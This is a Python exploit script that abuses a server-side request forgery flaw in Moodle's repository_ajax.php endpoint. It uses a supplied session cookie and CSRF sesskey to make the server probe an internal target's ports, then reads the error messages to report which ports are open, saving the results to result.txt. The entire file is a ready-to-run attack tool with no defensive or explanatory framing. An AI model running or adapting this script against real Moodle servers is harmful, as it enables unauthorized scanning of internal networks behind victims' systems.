import requests
import fileinput
import sys

# edit html file
# 1st req --> to ngrox
# 2nd req --> download with SSRF
# 3rd req --> retrieve response


if len(sys.argv) < 6:
	print('[!] Usage: python3 ' + sys.argv[0] + ' <session_cookie> <sesskey(CSRF token)> <your_server> <target Moodle> <target to SSRF>')
	print('[!] Results will be displayed and saved in result.txt')
	sys.exit()

cook = sys.argv[1] 
cooks = {"MoodleSession":  cook}
sesskey = sys.argv[2] 
ngrok_host = sys.argv[3] 
retrieve_url = sys.argv[4] + "/repository/repository_ajax.php?action=signin"

PROXS = {
	'http':'127.0.0.1:8080',
	'https':'127.0.0.1:8080'
}

PROXS = {}

def make_req(host, port):
    # return if port is UP or not
    # using HTTPS cuz of SSL error message back
    heads = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
    target_host = 'https://'+host+':'+str(port)
    params= {"file": target_host, "repo_id": "5", "p": '', "page": '', "env": "filemanager", "sesskey": sesskey, "client_id": "5decc232123ce", "itemid": "470696638", "maxbytes": "-1", "areamaxbytes": "-1", "ctx_id": "3338"}

    resp = requests.post(retrieve_url, verify=False, headers=heads, cookies=cooks, data=params, proxies=PROXS).json()
    if 'Connection refused' in resp['error']:
        return 0 
    elif 'SSL23_GET_SERVER_HELLO' in resp['error']:
        return 1
    elif 'SSL_ERROR_SYSCALL' in resp['error']:
        return 1
    else:
        print('[?????] WTF IS THIS ERROR')
        print(resp)
        sys.exit()

def write_open(port):
    with open('result.txt','a') as fileW:
        fileW.write('[+]' + port + ' open\n')

def read_ports(filename):
    with open(filename,'r') as fileR:
        data = fileR.readlines()
    data[0] = data[0].replace('\n','')
    ports = data[0].split(',')
    return ports

if __name__ == '__main__':
    print('[*] Starting ..')
    ports = read_ports('ports.lst')
    target = sys.argv[5] 
    for port in ports:
        if(make_req(target,port)):
            print('[+] ' + str(port) + ' open')
            write_open(port)
        else:
            print('[-] ' + str(port) + ' closed')
